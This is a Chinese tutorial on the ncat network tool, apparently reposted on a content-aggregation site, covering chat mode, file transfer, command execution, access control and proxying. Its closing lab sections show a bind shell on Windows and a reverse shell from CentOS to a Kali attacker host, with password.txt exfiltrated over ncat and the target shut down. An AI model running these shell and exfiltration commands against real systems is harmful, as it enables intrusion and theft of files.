网络测试工具ncat

这篇具有很好参考价值的文章主要介绍了网络测试工具ncat。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

简介

官网:Ncat - Netcat for the 21st Century

帮助文档:https://nmap.org/ncat/guide/index.html

windows版安装:安装nmap时自动会安装ncat

linux安装:可通过yum或apt方式安装ncat

ncat与nc(netcat)的区别:
    ncat与netcat是不同的开发者,ncat是netcat的增强版;ncat与nmap是同一组织开发维护,有nmap作为更专业的端口扫描工具,ncat取消了端口扫描功能。

用法示例

  • 聊天模式
# 服务器端(192.168.0.99):
# -l 监听模式
# -k 允许多终端接入,否则只允许一个连接
# -p 666 指定监听端口
ncat -l -k -p 666

#客户端:
ncat 192.168.0.99 666

服务器发送hello,收到客户端1和客户端2的hello

ncat windows,计算机网络,运维,网络,网络安全,运维,测试工具,网络攻击模型

客户端1:收到服务器发送的hello,自己发送了hello

ncat windows,计算机网络,运维,网络,网络安全,运维,测试工具,网络攻击模型

客户端2:收到服务器发送的hello,自己发送了hello

ncat windows,计算机网络,运维,网络,网络安全,运维,测试工具,网络攻击模型

从上面的示例我们可以得知,多个客户端连接服务器时,服务器发送的消息都可以看到,但客户端发送的消息只有服务器可以看到。

补充:服务器端加入 --broker 参数可以实现客户端发送的消息通过服务器转发给其它客户端,但服务器端本身不会打印出消息内容

  • 从文件输入内容
# 服务器端
# 创建测试文件“helloworld.html”,内容为“Hello World”
# 启动ncat时从文件输入内容
C:\Users\49285>type helloworld.html
Hello World
C:\Users\49285>
C:\Users\49285>ncat -l -k -p 666 <helloworld.html

# 客户端
ncat 192.168.0.99 666

服务器

ncat windows,计算机网络,运维,网络,网络安全,运维,测试工具,网络攻击模型

客户端1:

ncat windows,计算机网络,运维,网络,网络安全,运维,测试工具,网络攻击模型

客户端2:

ncat windows,计算机网络,运维,网络,网络安全,运维,测试工具,网络攻击模型

注意:

服务器从文件输入的内容只能使用一次
服务器不能再输入消息发送给客户端
客户端可以发送消息给服务器

  • 命令执行输出
--exec 运行不带 shell 解释的命令。
--sh-exec 通过将字符串传递到系统 shell 来运行命令。
--lua-exec 使用 Ncat 的内置 Lua 解释器运行 Lua 程序。

ncat -l --exec "/bin/echo Hello."
ncat -l --sh-exec "echo `pwd`"
ncat -l --lua-exec hello-luaexec.lua


# hello-luaexec.lua内容
--This is a --lua-exec "Hello world" example. In order to send to a client,
--all you need to do is output it to the standard output.

print("Hello, world!")

协议支持

Ncat 可以使用 TCP、UDP、SCTP、SSL、IPv4、IPv6 以及这些的各种组合。基于 IPv4 的 TCP 是默认设置。

访问控制

# 允许一台主机,拒绝所有其他主机
ncat -l --allow 192.168.0.125
ncat -l --allow 2001:db8::7d
ncat -l --allow trusted.example.com

# 拒绝一台主机,允许所有其他主机
ncat -l --deny 192.168.0.200
ncat -l --deny 2001:db8::c8

# 允许本地网络上的主机,拒绝所有其他主机
ncat -l --allow 192.168.0.0/24
ncat -l --allow 192.168.0.0-255
ncat -l --allow 2001:db8::/32

# 允许或拒绝文件中的主机
ncat -l --allowfile trusted-hosts.txt
ncat -l --denyfile external-hosts.txt

# 配置允许的最大连接数
ncat -l --max-conns 5

代理

# 作为客户端,使用代理服务器
# --proxy-type可以省略;它默认为 http. 如果<proxyport>省略,则默认为所选代理类型的众所周知端口:SOCKS 为 1080,HTTP 为 3128。
ncat --proxy <proxyhost>[:<proxyport>] --proxy-type  { http  |   socks4  |   socks5 } <host> [<port>]

# 作为代理服务器,提供代理服务,仅支持http代理
ncat -l 3128 --proxy-type http
ncat -l 3128 --proxy-type http --proxy-auth <user>:<pass>

文件传输

# 接收者监听,默认监听端口31337
host2$ ncat -l > outputfile
host1$ ncat --send-only host2 < inputfile

# 发送者监听,默认监听端口31337
host1$ ncat -l --send-only < inputfile
host2$ ncat host1 > outputfile

# 通过tar传输文件
host2$ ncat -l | tar xzv
host1$ tar czv <files> | ncat --send-only host2

# 传输磁盘映像
host2$ ncat -l > host1-hda.image
host1$ ncat --send-only host2 < /dev/hda
# 压缩传输磁盘映像
host2$ ncat -l | bzip2 -d > host1-hda.image
host1$ cat /dev/hda | bzip2 | ncat --send-only host2

# 当两台主机不能直接通信时,可以通过中转主机(host3)进行文件传输
# 注意,host2(接收主机)必须先于 host1(发送主机)连接到代理,代理不会缓冲接收到的数据以发送到稍后连接的主机。
host3$ ncat -l --broker
host2$ ncat host3 > outputfile
host1$ ncat --send-only host3 < inputfile

聊天 --chat

多个客户端连接服务器时,每个客户端都和服务器建立一个独立的连接,客户端之间不能彼此发送消息,服务器通过--broker参数可以实现将客户端发送的消息转发给其它客户端,但有多个客户端发送消息时,并不能区分消息是由哪一个用户发送,在服务器端通过--chat参数,可以实现在转发消息时,在消息前面标记出用户id,此用户id是随机生机,不可以指定和保留。

web服务器

# linux系统
ncat -lk -p 8080 --sh-exec "echo -e 'HTTP/1.1 200 OK\r\n'; echo HelloWorld"

# windows系统
ncat -lk -p 8080 --sh-exec "echo HTTP/1.1 200 OK& echo(&type index.html"

ncats链

# 通过主机2将日志文件从主机1发送到主机3
host3$ ncat -l > log.txt
host2$ ncat -l | ncat host3
host1$ ncat --send-only host2 < log.txt

# 优化,主机3和主机1可以互相发送消息
host3$ ncat -l > log.txt
host2$ ncat -l --sh-exec "ncat host3"
host1$ ncat --send-only host2 < log.txt

模拟诊断服务

# 丢弃消息
ncat -l --keep-open 9 --recv-only > /dev/null
ncat --udp -l --keep-open 9 --recv-only > /dev/null

# 返回收到的消息
ncat -l 7 --keep-open --exec "/bin/cat"
ncat -l 7 --keep-open --udp --exec "/bin/cat"

# 返回日期时间
ncat -l 13 --keep-open --send-only --exec "/bin/date"
ncat -l 13 --keep-open --udp --send-only --exec "/bin/date"

模拟攻击windows主机

攻击者:kali linux(192.168.0.9)
被攻击者:win10(192.168.0.99)

环境配置:关闭操作系统防火墙,安装ncat工具
攻击目标:获取win10主机用户目录下的password.txt文件(文件已经提前准备好)

攻击过程:

# win10客户端执行
# 监听tcp 666端口
C:\Users\49285>type password.txt
password
C:\Users\49285>ncat -l -k -p 666 -c "cmd"


# kali攻击者

# 终端1:准备好接收从win10获取的文件
┌──(kali㉿kali)-[~]
└─$ ncat -l -p 777 > password.txt 

# 终端2
# 连接win10主机,获取cmd执行权限
┌──(kali㉿kali)-[~]
└─$ ncat 192.168.0.99 666
Microsoft Windows [�汾 10.0.18363.592]
(c) 2019 Microsoft Corporation����������Ȩ����

# 查看password.txt文件内容
C:\Users\49285>type password.txt
type password.txt
password

# 将win10客户端的password.txt文件通过“终端1”传到kali系统本地
C:\Users\49285>ncat 192.168.0.9 777 < password.txt   
ncat 192.168.0.9 777 < password.txt

# 退出远端会话,ctrl + c
C:\Users\49285>^C

# 确认接收到的文件
┌──(kali㉿kali)-[~]
└─$ cat password.txt 
password                                                                                                                               
┌──(kali㉿kali)-[~]
└─$ 

以上就完成了从win10主机上获取机密文件,但存在以下两个问题:

问题1、win10主机作为客户端,网络环境通常是通过nat上网,不能从互联网直接访问;
问题2、windows主机一般默认启用了防火墙,不允许从外面访问本地端口。

针对上述两个问题,我们只需要将监听主机修改为攻击者主机即可,由被攻击者主动连接到攻击者主机,然后实施攻击。在“模拟攻击linux主机”章节进行演示

模拟攻击linux主机

攻击者:kali linux(192.168.0.9)
被攻击者:centos7(192.168.0.8)

环境配置:安装ncat工具
攻击目标:获取centos7主机用户目录下的password.txt文件(文件已经提前准备好)

攻击过程:

# 攻击者,kali linux(192.168.0.9)

# 终端1,监听777端口,准备好接收从centos7传送过来的password.txt文件
┌──(kali㉿kali)-[~]
└─$ ncat -l -p 777 > password.txt

# 终端2,监听666端口,用于centos7主动连接
┌──(kali㉿kali)-[~]
└─$ ncat -l -p 666

# 被攻击者,centos7(192.168.0.8)
[root@192 ~]# cat password.txt 
centos7 password
[root@192 ~]# 
[root@192 ~]# ncat 192.168.0.9 666 -c "bash"

# -----------------------以上完成了centos7主机主动连接到kali攻击者----------------------

# -----------------------开始实施攻击--------------------------------------------------

# centos7连接到kali的666端口后,在kali系统的“终端2”上执行命令,相当于是在centos7主机执行
┌──(kali㉿kali)-[~]
└─$ ncat -l -p 666
# 查看当前目录文件
ls
anaconda-ks.cfg
install.sh
password.txt

#查看当前主机ip地址,192.168.0.8为centos7主机的ip地址
ip add
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:09:3d:84 brd ff:ff:ff:ff:ff:ff
    inet 192.168.0.8/24 brd 192.168.0.255 scope global noprefixroute dynamic ens33
       valid_lft 86144sec preferred_lft 86144sec
    inet6 240e:382:718:4900:ec79:3a3a:a286:d92c/64 scope global noprefixroute dynamic 
       valid_lft 2444sec preferred_lft 2444sec
    inet6 fe80::f63c:a000:8980:2bf4/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever

# 查看password.txt文件内容
cat password.txt
centos7 password

# 通过“终端2”获取password.txt文件
ncat 192.168.0.9 777 < password.txt

# 将centos7远程计算机关机(测试用,实际情况下不会进行此操作)
shutdown -h now

# 确认获取的password.txt文件内容
┌──(kali㉿kali)-[~]
└─$ cat password.txt
centos7 password

以上演示了如何获取linux主机的机密文件,只需要被攻击主机能够访问到攻击者主机即可完成攻击操作。

总结

ncat是一款功能强大而小巧的网络测试工具,也可以作为黑客攻击工具,为避免主机遭受黑客攻击,我们应当安装杀毒工具,到正规网站下载安装软件。

上一篇:计算机网络基础实践进阶

内容导览:it行业个人工作实践总结文章来源地址https://www.toymoban.com/news/detail-800274.html

到了这里,关于网络测试工具ncat的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 网络性能测试工具

    网络的基本目的是有效地共享资源。利用可靠的网络测试工具建立定期的网络测试对于:了解网络的状态、确保配置更改按预期工作、检测瘫痪网络攻击、提供一流的终端用户体验。那么网络性能也是非常关键的。只要是需要快速而且大量的网络数据传输的应用都可以作为网

    2023年04月15日
    浏览(49)
  • 网络测试工具ncat

    简介 官网:Ncat - Netcat for the 21st Century 帮助文档:https://nmap.org/ncat/guide/index.html windows版安装:安装nmap时自动会安装ncat linux安装:可通过yum或apt方式安装ncat ncat与nc(netcat)的区别:     ncat与netcat是不同的开发者,ncat是netcat的增强版;ncat与nmap是同一组织开发维护,有nmap作为更

    2024年01月18日
    浏览(25)
  • [渗透测试]—6.3 无线网络渗透测试工具

    在本章节中,我们将学习一些常用的无线网络渗透测试工具,如Aircrack-ng、Reaver等。我们将尽量讲解得详细、通俗易懂,并提供尽可能多的实例。 Aircrack-ng是一个用于测试无线网络安全的工具集,包括捕获数据包、破解WEP和WPA/WPA2-PSK密钥、创建和管理访问点等功能。以下是A

    2024年02月11日
    浏览(53)
  • [渗透测试]—5.3 网络渗透测试技术和工具

    在本章节中,我们将学习一些常用的网络渗透测试技术和工具,如Wireshark、Ettercap等。我们会尽量将内容讲解得详细、通俗易懂,并提供尽可能多的实例。 Wireshark是一款免费的开源数据包分析器,可以实时或离线捕获、分析和解码网络数据包。Wireshark可以帮助我们识别网络中

    2024年02月11日
    浏览(53)
  • pktgen网络测试工具介绍

    pktgen是一款网络测试工具,可以用于压力测试、性能测试、负载均衡测试等方面。它使用Lua脚本来生成和发送数据包,并且支持多线程处理。 pktgen可以在Linux系统上运行,支持多种协议和数据包类型,如TCP、UDP、ICMP、ARP等。用户可以通过命令行或者图形界面来控制pktgen的运行

    2024年02月19日
    浏览(31)
  • 开发工具-网络测试工具 POSTMAN 的脚本使用

    POSTMAN 是网络编程中最常用的接口测试工具之一,能够使用脚本进行连续的自动测试。这里是以本地应用版为基础环境。 参考资料: Postman接口自动化测试 postman 可以在发送请求前使用脚本进行预处理,收到响应后使用脚本进行测试。 脚本的一些测试过程可以使用类似浏览器

    2024年02月13日
    浏览(48)
  • iperf3网络测试工具

    一、iperf能用来做什么 测量网络带宽和网络质量 提供网络延迟抖动、数据包丢失率、最大传输单元等统计信息 二、iperf3主要功能介绍 TCP 测试网络带宽 支持多线程,在客户端与服务端支持多重连接 报告MSS/MTU值的大小 支持TCP窗口值自定义 UDP 可以设置指定带宽的UDP数据流 可

    2024年01月16日
    浏览(41)
  • iperf3 网络带宽测试工具

    iperf3 是一个 TCP, UDP, 和 SCTP (传输层协议)网络带宽测量工具. iperf 是一个用于主动测量 IP 网络上最大可用带宽的工具. 它支持与时间、协议和缓冲区相关的各种参数的调优. 对于每个测试,它报告测量的吞吐量/比特率(带宽), 丢包率和其他参数. 这个版本,有时被称为 iperf3, 是

    2024年02月05日
    浏览(49)
  • 网络性能测试工具 iperf3

    iperf3软件下载地址:https://liyouchen.lanzoul.com/iZmaI0otb1de 下载到电脑到,并解压后,会得到两个文件:cygwin1.dll 和 iperf3.exe,这两个文件拷贝到 c:windows 目录下 最后打开 cmd,执行 iperf3 --version ,若安装成功,会打印出版本信息 最后要在使用前,关闭防火墙 iperf3 有客户端 和 服务

    2024年02月12日
    浏览(85)
  • 网络性能测试工具:iperf3

    iperf3 是一个网络性能测试工具(iperf3下载地址)。iperf可以测试TCP和UDP带宽质量。iperf可以测量最大TCP带宽,具有多种参数和UDP特性。iperf可以报告带宽,延迟抖动和数据包丢失。 iperf3是一种用于主动测量IP网络上可实现的 最大带宽 的工具。 它支持调整与时序、缓冲区和协议(

    2024年02月16日
    浏览(50)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包